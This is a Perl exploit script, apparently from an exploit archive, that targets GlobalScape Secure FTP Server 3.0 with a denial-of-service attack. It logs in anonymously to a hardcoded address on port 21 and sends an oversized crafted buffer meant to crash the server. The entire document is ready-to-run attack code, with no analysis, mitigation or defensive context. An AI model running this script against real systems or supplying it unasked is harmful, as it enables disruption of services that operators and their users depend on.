GlobalScape Secure FTP Server 3.0 Denial Of Service

`#!/usr/bin/perl  
use strict;  
use IO::Socket;  
  
print "GlobalScape Secure FTP Server 3.0 - Denial of Service \n";  
  
my $payload = "\x41\x42\x0a\x00"x147;  
  
my $buffer = "\x41"x2043 . "\x41\x42\x43\x00" . "\x42"x36 . $payload;  
  
my $sock = IO::Socket::INET->new(PeerAddr => '192.168.0.10', PeerPort => 21, Proto => 'tcp');  
if ($sock) {  
print "[+] Connected to FTP server\n";  
print "[+] Sending Username\n";  
print $sock "USER anonymous\r\n";  
print "[+] Sending Password\n";  
print $sock "PASS anonymous\r\n";  
print "[+] Sending payload to exploit \nn";  
print $sock $buffer . "\r\n";  
print "[+] Exploit!\n";  
close($sock);  
} else {  
print "Can't connect to FTP\n";  
}  
`